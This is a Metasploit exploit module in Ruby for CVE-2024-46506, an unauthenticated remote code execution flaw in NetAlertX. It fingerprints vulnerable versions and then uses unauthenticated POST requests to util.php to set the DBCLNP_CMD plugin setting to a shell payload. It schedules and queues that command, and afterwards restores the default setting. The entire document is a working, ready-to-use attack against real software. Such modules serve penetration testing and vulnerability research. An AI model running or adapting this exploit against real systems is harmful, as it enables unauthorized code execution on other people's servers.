## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'Unauthenticated RCE in NetAlertX', 'Description' => %q{ An attacker can update NetAlertX settings with no authentication, which results in RCE. }, 'Author' => [ 'Chebuya (Rhino Security Labs)', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-46506'], ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-46506-rce-in-netalertx/'], # ['URL', 'https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-46506'], Not published (yet?) ], 'DefaultOptions' => { 'FETCH_DELETE' => true, 'WfsDelay' => 150 }, 'Platform' => %w[linux], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd } ], ], 'DefaultTarget' => 0, 'Payload' => { 'BadChars' => ' \'\\' }, 'DisclosureDate' => '2025-01-30', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ CONFIG_CHANGES, ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(20211), OptInt.new('WAIT', [ true, 'Wait time (seconds) for the payload to be set', 75 ]), OptBool.new('CLEANUP', [false, 'Restore DBCLNP_CMD to original value after execution', true]) ] ) register_advanced_options( [ OptString.new('Base64Decoder', [true, 'The binary to use for base64 decoding', 'base64-short', %w[base64-short] ]) ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'maintenance.php') }) return Exploit::CheckCode::Unknown unless res&.code == 200 html_document = res&.get_html_document return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? version_element = html_document.xpath('//div[text()="Installed version"]//following-sibling::*') return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? version = Rex::Version.new(version_element.text&.strip&.sub(/^v/, '')) return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version.between?(Rex::Version.new('23.01.14'), Rex::Version.new('24.9.12')) Exploit::CheckCode::Appears("Version #{version} detected.") end def exploit # Command is split by space character, and executed by the following Python code: # subprocess.check_output(command, universal_newlines=True, stderr=subprocess.STDOUT, timeout=(set_RUN_TIMEOUT)) # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L206 # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/server/plugin.py#L214 cmd = "/bin/sh -c #{payload.encode}" update_settings(cmd, '*') # Not updated immediately print_status('Waiting for the settings to be properly updated...') retry_until_truthy(timeout: datastore['WAIT']) do check_settings(cmd) end add_to_execution_queue('run|DBCLNP') add_to_execution_queue('cron_restart_backend') print_status('Added the payload to the queue. Waiting for the payload to run...') end def update_settings(cmd, sche) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), 'vars_post' => { 'function' => 'savesettings', 'settings' => [ ['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'], ['DBCLNP', 'DBCLNP_CMD', 'string', cmd], ['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "#{sche} * * * *"], ].to_json } }) fail_with(Failure::Unknown, 'Failed to update settings.') unless res&.code == 200 print_status("Sent request to update DBCLNP_CMD to '#{cmd}'.") end def add_to_execution_queue(cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'php/server/util.php'), 'vars_post' => { 'function' => 'addToExecutionQueue', 'action' => "#{SecureRandom.uuid}|#{cmd}" } }) fail_with(Failure::Unknown, 'Failed to add the payload to the queue.') unless res&.code == 200 end def check_settings(cmd) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/table_settings.json') }) return unless res&.code == 200 res.get_json_document['data']&.detect { |row| row['Code_Name'] == 'DBCLNP_CMD' && row['Value'] == cmd } end def cleanup super if datastore['CLEANUP'] # Default settings, isn't usually changed. # https://github.com/jokob-sk/NetAlertX/blob/v24.9.12/front/plugins/db_cleanup/config.json#L92 update_settings( 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}', '*/30' ) end end end